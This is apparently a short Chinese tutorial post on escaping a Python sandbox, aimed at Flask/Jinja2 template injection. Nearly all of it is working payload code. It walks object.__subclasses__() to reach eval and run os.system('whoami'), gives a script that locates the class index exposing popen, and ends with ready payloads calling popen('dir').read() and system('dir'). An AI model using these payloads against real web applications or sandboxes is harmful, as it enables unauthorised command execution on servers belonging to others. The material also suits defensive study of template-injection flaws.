文章参考
绕过python沙盒
在python3中,文章中是这样绕过python沙盒的
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
但是这样的方式想要执行系统命令,需要导入os模块,而在Flask/Jinja2等比较新的版本中,会检测禁用导入os模块,这样就无法达到命令执行的效果,这个时候可以使用这样一种payload:
#coding:utf-8
search = "popen"
num = -1
#().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
for i in ().__class__.__bases__[0].__subclasses__():
num +=1
try:
if search in i.__init__.__globals__.keys():
print(num,i)
except Exception as e:
pass
128 <class 'os._wrap_close'>
所以我们可以构造这样一个payload来执行命令:
().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()
().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('dir')
网友评论